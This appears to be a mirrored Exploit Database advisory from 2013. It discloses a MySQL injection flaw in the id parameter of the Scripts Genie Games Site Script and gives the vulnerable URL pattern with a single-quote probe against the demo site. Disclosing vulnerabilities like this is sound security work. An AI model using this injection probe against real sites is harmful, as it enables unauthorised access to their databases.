Scripts Genie Games Site Script – ‘index.php?id’ SQL Injection

• Exploit Database
• 92 阅读

• 作者： 3spi0n
  日期： 2013-02-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24509/

• ##################################################################################
   ________
  / /___ _____(_)_____________ ______(_)_______ / __ \_________ _
   __/ / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
  / /_/ / /_/ / / / / (__|__) /_/ / // /__(__)/ /_/ / // /_/ / 
  \____/\__,_/_/ /_/_/____/____/\__,_/_//_/\___/____(_)____/_/ \__, /
  /____/ 
  ##################################################################################																
  Games Site Script, MySQL Injection Vulnerabilities
  Software Page: http://scriptsgenie.com/index.php?do=catalog&c=scripts&i=games_site_script
  Product Page: http://www.hotscripts.com/listing/150-flash-game-script-comes-with-150-games/
  Script Demo: http://scriptsgenie.com/demo/GameScript150Games/
  
  Author(Pentester): 3spi0n
  On Social: Twitter.Com/eyyamgudeer
  Greetz: Grayhats Inc. and Janissaries Platform.
  ##################################################################################
  
  [~] MySQL Injection on Demo Site (/index.php?act=play&id=)
  
  >>> http://server/index.php?act=play&id=122' (MySQLi Found)
  

  Python

  Copy